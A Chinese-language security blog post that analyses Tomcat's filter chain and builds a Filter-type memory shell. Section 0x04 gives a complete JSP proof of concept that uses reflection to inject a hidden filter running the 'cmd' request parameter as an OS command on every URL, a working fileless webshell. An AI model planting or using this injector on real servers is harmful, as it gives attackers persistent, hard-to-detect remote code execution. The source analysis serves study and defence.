Java内存马之Filter型内存马

(Updated: )
javasec

参考文章：

https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Filter%E5%9E%8B/

https://xz.aliyun.com/news/13078#24-filter%E5%AE%B9%E5%99%A8%E4%B8%8Efilterdefsfilterconfigsfiltermapsfilterchain

https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Tomcat/Tomcat-Filter%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Filter%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC.md

0x01关于Filter过滤器

Filter顾名思义就是过滤器的意思，这个之前php的时候也接触过不少了

之前研究servlet的时候就可以知道，当tomcat接收到请求时候，依次会经过Listener -> Filter -> Servlet

在tomcat中，filter是位于客户端请求和目标资源servlet之间的，可以对请求和响应进行拦截和过滤处理的一种组件容器

这里放一个师傅的图

img

由途中不难看出，我们的请求在经过servlet之前会经过filter，这个filter可能是一层也可能是多层，但最终都会在servlet对请求进行拦截处理，那么我们可以得出一个思路：如果我们动态创建一个filter并放在最前面，那么我们的filter就会最先执行，若我们创建的filter中存在恶意代码，那么就可以实现恶意代码执行，形成内存马。

0x02实现Filter的Demo

我们先写一个TestFilter

因为Servlet规范力定义了一个Filter接口，如果需要实现一个过滤器的话就需要实现filter接口，我们看看这个接口有哪些函数方法

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// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package javax.servlet;

import java.io.IOException;

public interface Filter {
    default void init(FilterConfig filterConfig) throws ServletException {
    }

    void doFilter(ServletRequest var1, ServletResponse var2, FilterChain var3) throws IOException, ServletException;

    default void destroy() {
    }
}

那根据这个接口的方法去写一下

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package org.example;

import javax.servlet.*;
import java.io.IOException;

public class TestFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter init");
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        System.out.println("Filter doFilter");

        //放行请求
        chain.doFilter(request, response);
    }

    @Override
    public void destroy() {
        System.out.println("Filter destroy");
    }
}

然后我们配置一下xml

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<filter>
  <filter-name>TestFilter</filter-name>
  <filter-class>org.example.TestFilter</filter-class>
</filter>
<filter-mapping>
  <filter-name>TestFilter</filter-name>
  <url-pattern>/*</url-pattern>
</filter-mapping>

需要解释一下/* 表示匹配所有请求（无论访问哪个路径都会经过 TestFilter）。

0x03Filter源码分析

感觉这里的分析不太详细，另外的分析额外写在了0x05中

从代码层面看Filter的运行流程

然后我们在doFilter方法打下断点并启动服务器

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跟进org.apache.catalina.core.StandardWrapperValve#invoke()

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filterChain.doFilter(request.getRequest(), response.getResponse());

我们跟进这个filterChain看看他怎么得来的

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ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

跟进createFilterChain方法

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public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {

    // If there is no servlet to execute, return null
    if (servlet == null) {
        return null;
    }

    // Create and initialize a filter chain object
    ApplicationFilterChain filterChain;
    if (request instanceof Request) {
        Request req = (Request) request;
        if (Globals.IS_SECURITY_ENABLED) {
            // Security: Do not recycle
            filterChain = new ApplicationFilterChain();
        } else {
            filterChain = (ApplicationFilterChain) req.getFilterChain();
            if (filterChain == null) {
                filterChain = new ApplicationFilterChain();
                req.setFilterChain(filterChain);
            }
        }
    } else {
        // Request dispatcher in use
        filterChain = new ApplicationFilterChain();
    }

    filterChain.setServlet(servlet);
    filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

    // Acquire the filter mappings for this Context
    StandardContext context = (StandardContext) wrapper.getParent();
    FilterMap filterMaps[] = context.findFilterMaps();

    // If there are no filter mappings, we are done
    if (filterMaps == null || filterMaps.length == 0) {
        return filterChain;
    }

    // Acquire the information we will need to match filter mappings
    DispatcherType dispatcher = (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);

    String requestPath = FilterUtil.getRequestPath(request);

    String servletName = wrapper.getName();

    // Add the relevant path-mapped filters to this filter chain
    for (FilterMap filterMap : filterMaps) {
        if (!matchDispatcher(filterMap, dispatcher)) {
            continue;
        }
        if (!FilterUtil.matchFiltersURL(filterMap, requestPath)) {
            continue;
        }
        ApplicationFilterConfig filterConfig =
                (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
        if (filterConfig == null) {
            log.warn(sm.getString("applicationFilterFactory.noFilterConfig", filterMap.getFilterName()));
            continue;
        }
        filterChain.addFilter(filterConfig);
    }

    // Add filters that match on servlet name second
    for (FilterMap filterMap : filterMaps) {
        if (!matchDispatcher(filterMap, dispatcher)) {
            continue;
        }
        if (!matchFiltersServlet(filterMap, servletName)) {
            continue;
        }
        ApplicationFilterConfig filterConfig =
                (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
        if (filterConfig == null) {
            log.warn(sm.getString("applicationFilterFactory.noFilterConfig", filterMap.getFilterName()));
            continue;
        }
        filterChain.addFilter(filterConfig);
    }

    // Return the completed filter chain
    return filterChain;
}

该函数接收一个请求对象，一个Wrapper对象和一个servlet目标实例，其实就是在客户端请求和目标servlet之间建立一个filter过滤器链

这里的话会先判断servlet是否为空，如果是那么就表示请求的servlet不是一个有效的servlet，就返回一个null。之后创建和初始化一个过滤器链对象filterChain，根据传入的ServletRequest判断如果是request类型就并且开启了安全模式的话每次就会新创建一个filterChain，如果没开启那就尝试调用getFilterChain()从请求中获取现有的过滤器链，如果没获取到就新建一个新的filterChain并调用setFilterChain()设置filterChain。

然后就是设置filterChain的servlet，标记servlet是否支持异步，随后就是关键的地方了

从Wrapper中获取父级上下文（StandardContext），然后获取该上下文中定义的过滤器映射数组（FilterMap），filterMaps 保存了 web.xml / 注解里的所有 <filter-mapping>。

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这里可以看到filterMaps中的filterMap主要存放了一些过滤器的名字以及作用的url等

之后提取关键的信息例如请求路径，目标servlet名字等

接下来会遍历filterMaps中的filterMap，如果发现请求的url和filterMap中的urlPattern匹配的话就通过filtername名字查找对应的filterconfig，找到就会将其添加到filter过滤器链中

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例如看看filterconfig的内容

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这里包含了filtername名字、filterclass所属类、filter以及filterDef

到这里filterchain就完成了创建，回到刚刚的doFilter方法中

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public void doFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {

    if (Globals.IS_SECURITY_ENABLED) {
        final ServletRequest req = request;
        final ServletResponse res = response;
        try {
            java.security.AccessController.doPrivileged((java.security.PrivilegedExceptionAction<Void>) () -> {
                internalDoFilter(req, res);
                return null;
            });
        } catch (PrivilegedActionException pe) {
            Exception e = pe.getException();
            if (e instanceof ServletException) {
                throw (ServletException) e;
            } else if (e instanceof IOException) {
                throw (IOException) e;
            } else if (e instanceof RuntimeException) {
                throw (RuntimeException) e;
            } else {
                throw new ServletException(e.getMessage(), e);
            }
        }
    } else {
        internalDoFilter(request, response);
    }
}

先判断是否是安全模式，这里是false，则直接调用else的internalDoFilter方法，步入该方法

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private void internalDoFilter(ServletRequest request, ServletResponse response)
        throws IOException, ServletException {

    // Call the next filter if there is one
    if (pos < n) {
        ApplicationFilterConfig filterConfig = filters[pos++];
        try {
            Filter filter = filterConfig.getFilter();

            if (request.isAsyncSupported() && !(filterConfig.getFilterDef().getAsyncSupportedBoolean())) {
                request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
            }
            if (Globals.IS_SECURITY_ENABLED) {
                final ServletRequest req = request;
                final ServletResponse res = response;
                Principal principal = ((HttpServletRequest) req).getUserPrincipal();

                Object[] args = new Object[] { req, res, this };
                SecurityUtil.doAsPrivilege("doFilter", filter, classType, args, principal);
            } else {
                filter.doFilter(request, response, this);
            }
        } catch (IOException | ServletException | RuntimeException e) {
            throw e;
        } catch (Throwable e) {
            e = ExceptionUtils.unwrapInvocationTargetException(e);
            ExceptionUtils.handleThrowable(e);
            throw new ServletException(sm.getString("filterChain.filter"), e);
        }
        return;
    }

    // We fell off the end of the chain -- call the servlet instance
    try {
        if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
            lastServicedRequest.set(request);
            lastServicedResponse.set(response);
        }

        if (request.isAsyncSupported() && !servletSupportsAsync) {
            request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
        }
        // Use potentially wrapped request from this point
        if ((request instanceof HttpServletRequest) && (response instanceof HttpServletResponse) &&
                Globals.IS_SECURITY_ENABLED) {
            final ServletRequest req = request;
            final ServletResponse res = response;
            Principal principal = ((HttpServletRequest) req).getUserPrincipal();
            Object[] args = new Object[] { req, res };
            SecurityUtil.doAsPrivilege("service", servlet, classTypeUsedInService, args, principal);
        } else {
            servlet.service(request, response);
        }
    } catch (IOException | ServletException | RuntimeException e) {
        throw e;
    } catch (Throwable e) {
        e = ExceptionUtils.unwrapInvocationTargetException(e);
        ExceptionUtils.handleThrowable(e);
        throw new ServletException(sm.getString("filterChain.servlet"), e);
    } finally {
        if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
            lastServicedRequest.set(null);
            lastServicedResponse.set(null);
        }
    }
}

其实就是一个按顺序执行filter，最后调用最终的servlet的过程

这里会从filters中依次拿到filter和filterConfig，最终调用filter.doFilter()

到这里的话其实调试就完了

从代码层面看Filter的初始化流程

这次我们打个断点在init方法，因为这里的话肯定是初始化的时候

在org.apache.catalina.core.StandardContext#filterStart

image-20250822161547169

首先对filterDefs进行foreach，我们看看这个filterDefs的值是HashMap类型的键值对类型，内容就是过滤器名称和一个filterDefs对象

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这样看的话就很明了了，filterDefs对象的值就是这些，那filterDefs如何添加呢？StandardContext里面有一个add方法

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@Override
public void addFilterDef(FilterDef filterDef) {

    synchronized (filterDefs) {
        filterDefs.put(filterDef.getFilterName(), filterDef);
    }
    fireContainerEvent("addFilterDef", filterDef);

}

我们继续往下看

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这里对filterConfigs这个HashMap设置ApplicationFilterConfig，具体跟进看看

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参数中context就是一个StandardContext对象，filterDef就是一个filterDef对象

这里的话主要是两种处理方式

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if (filterDef.getFilter() == null) {
    getFilter();
} else {
    this.filter = filterDef.getFilter();
    context.getInstanceManager().newInstance(filter);
    initFilter();
}
  1. 首先判断filterDef.getFilter()检查是否有filter实例，为空则通过getFilter()去实例化一个filter
  2. 如果不为空的话就getFilter()去获取该实例

跟进getFilter看看类里有什么方法

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刚好有一个setter方法可以用，并且还是public类型的

结合上面的addFilterDef就可以将Filter实例设置并添加进去

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FilterDef filterdef = new FilterDef();
filterdef.setFilter(filter);
standardContext.addFilterDef(filterdef)

0x04Filter内存马实现

其实从上面的代码中不难看出在createFilterChain方法中有两个很重要的方法org.apache.catalina.core.StandardContext#findFilterMaps和org.apache.catalina.core.StandardContext#findFilterConfig，这两个方法是用来获取FilterMap和FilterConfig的

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@Override
public FilterMap[] findFilterMaps() {
    return filterMaps.asArray();
}
public FilterConfig findFilterConfig(String name) {
    synchronized (filterDefs) {
        return filterConfigs.get(name);
    }
}

看到这两个方法的实现，其实就是从StandardContext中提取到对应的属性filtermap和filterconfig，那么我们只要往这2个属性里面插入对应的filterMap和filterConfig即可实现动态添加filter的目的

我们找找有没有setter方法，如果有的话就直接调用去设置值就行了

首先我们来看filtermaps，StandardContext提供了对应的添加方法

image-20250822155617361

这里的话直接用addFilterMapBefore就行了，addFilterMapBefore则会自动把我们创建的filterMap丢到第一位去，无需再手动排序

然后我们来看一下filterconfig怎么添加，在StandardContext中并没有找到filterconfig有关的添加方法，但是还记得刚刚我们的filterStart方法吗，他里面有一个put添加filterconfig的流程

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那也就是说，我们只能通过反射的方法去获取相关属性并添加进去。

根据上面的所有流程，我们得知了我们只需要设置filterMaps、filterConfigs、filterDefs就可以注入恶意的filter

  • filterMaps：一个HashMap对象，包含过滤器名字和URL映射
  • filterDefs：一个HashMap对象，过滤器名字和过滤器实例的映射
  • filterConfigs变量：一个ApplicationFilterConfig对象，里面存放了filterDefs

所以Filter内存马实现的流程就是：

  1. 获取StandardContext
  2. 继承并编写一个恶意filter
  3. 实例化一个FilterDef类，包装filter并存放到StandardContext.filterDefs中
  4. 实例化一个FilterMap类，将我们的 Filter 和 urlpattern 相对应，存放到StandardContext.filterMaps中(一般会放在首位)
  5. 通过反射获取filterConfigs，实例化一个FilterConfig(ApplicationFilterConfig)类，传入StandardContext与filterDefs，存放到filterConfig中

这里需要注意一个问题就是在addFilterMap中的一个validateFilterMap方法

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这里会根据filtername去查找对应的filterdef，不然的话会抛出一个报错，也就是说，我们得先写一个filterdef，然后再修改filterMap

这里有个坑就是别忘了设置Dispatcher，这里我们设置DispatcherType.REQUEST.name()即可

Servlet 规范定义了几种 分发类型，也就是一个请求进入 Filter/Servlet 链的不同方式：

  • REQUEST
    正常的 HTTP 请求（浏览器直接访问 URL 时）。
  • FORWARD
    通过 RequestDispatcher.forward() 转发。
  • INCLUDE
    通过 RequestDispatcher.include() 包含另一个资源。
  • ERROR
    进入错误页面时（<error-page> 配置）。
  • ASYNC
    异步请求（Servlet 3.0+ 支持）。
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public void setDispatcher(String dispatcherString) {
String dispatcher = dispatcherString.toUpperCase(Locale.ENGLISH);

if (dispatcher.equals(DispatcherType.FORWARD.name())) {
// apply FORWARD to the global dispatcherMapping.
dispatcherMapping |= FORWARD;
} else if (dispatcher.equals(DispatcherType.INCLUDE.name())) {
// apply INCLUDE to the global dispatcherMapping.
dispatcherMapping |= INCLUDE;
} else if (dispatcher.equals(DispatcherType.REQUEST.name())) {
// apply REQUEST to the global dispatcherMapping.
dispatcherMapping |= REQUEST;
}  else if (dispatcher.equals(DispatcherType.ERROR.name())) {
// apply ERROR to the global dispatcherMapping.
dispatcherMapping |= ERROR;
}  else if (dispatcher.equals(DispatcherType.ASYNC.name())) {
// apply ERROR to the global dispatcherMapping.
dispatcherMapping |= ASYNC;
}
}

最终的POC

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<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%

  //获取StandardContext
  ServletContext servletContext = request.getServletContext();
  Field appctx = servletContext.getClass().getDeclaredField("context");
  appctx.setAccessible(true);
  ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
  Field stdcx = applicationContext.getClass().getDeclaredField("context");
  stdcx.setAccessible(true);
  StandardContext standardContext = (StandardContext) stdcx.get(applicationContext);

  // 获取filterConfigs
  Field filterConfigField = standardContext.getClass().getDeclaredField("filterConfigs");
  filterConfigField.setAccessible(true);
  Map filterConfigs = (Map) filterConfigField.get(standardContext);

  String filterName = "FilterShell";
  if (filterConfigs.get(filterName) == null) {
    Filter filter = new Filter() {
      @Override
      public void init(FilterConfig filterConfig) throws ServletException {

      }

      @Override
      public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        String cmd = servletRequest.getParameter("cmd");
        if (cmd != null){
          boolean isLinux = true;
          String osTyp = System.getProperty("os.name");
          if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
          }
          String[] cmdArray = isLinux ? new String[]{"sh","-c",cmd} : new String[]{"cmd.exe","/c",cmd}; //根据操作系统选择shell
          //执行命令并获取命令输出
          InputStream in = Runtime.getRuntime().exec(cmdArray).getInputStream();
          Scanner s = new Scanner(in).useDelimiter("\\a");  //使用 Scanner 读取 InputStream 的内容
          String output = s.hasNext() ? s.next() : "";  //如果有内容就读取，否则为空字符串
          PrintWriter out = servletResponse.getWriter();  //获取 Servlet 输出流，用于返回给客户端（浏览器）
          out.println(output);  //打印输出
          out.flush();
          out.close();
        }
        filterChain.doFilter(servletRequest,servletResponse);
      }

      @Override
      public void destroy() {

      }
    };

    //FilterDef
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName(filterName);
    filterDef.setFilterClass(filter.getClass().getName());
    standardContext.addFilterDef(filterDef);

    // FilterMap
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName(filterName);
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    standardContext.addFilterMapBefore(filterMap);


    //ApplicationFilterConfig
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
    filterConfigs.put(filterName, filterConfig);

    out.print("FilterMeInject Success !");
  }
%>

访问filtershell.jsp后成功加入filter过滤器，随便发送请求并传入cmd参数进行RCE就可以了

0x05POC代码分析

为什么要写这个呢？主要是感觉前面的代码分析有点不清不楚的，想重新看一下

首先前面的获取StandardContext就不说了，这个之前就讲过

然后就是这段

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// 获取filterConfigs
  Field filterConfigField = standardContext.getClass().getDeclaredField("filterConfigs");
  filterConfigField.setAccessible(true);
  Map filterConfigs = (Map) filterConfigField.get(standardContext);

为什么需要获取filterConfigs呢？

在org.apache.catalina.core.StandardContext#filterStart()方法中

image-20250822182928139

可以看到在init初始化filter的时候会将filterconfig放入filterConfigs中，而我们获取这个filterConfigs就是为了在后面添加我们动态注册的filterConfig

然后我们看这段代码

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//FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

这里的话是获取一个FilterDef，为什么需要设置这些值呢

首先初始化过程在org.apache.catalina.core.ApplicationFilterConfig#ApplicationFilterConfig()方法中

image-20250822183303835

这里的话是传入了一个filterDef，从图中可以看出里面有Filter、FilterName、FilterClass这些属性的值，所以也是我们需要设置的属性内容

接着再看这段代码

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// FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

首先就是在org.apache.catalina.core.ApplicationFilterFactory#createFilterChain()方法中

image-20250822183832555

这里的话会调用一个findFilterMaps去拿到FilterMap的值

image-20250822183804462

可以看到这里的话就是需要传入一个filterName、urlPatterns，然后额外设置一个DispatcherType去指定请求的处理方式

最后的话就是实例化一个filterConfig对象，并将filterConfig对象放入服务器的filterConfigs当中，也就是用put方法

到此分析就算彻底结束了~下播下播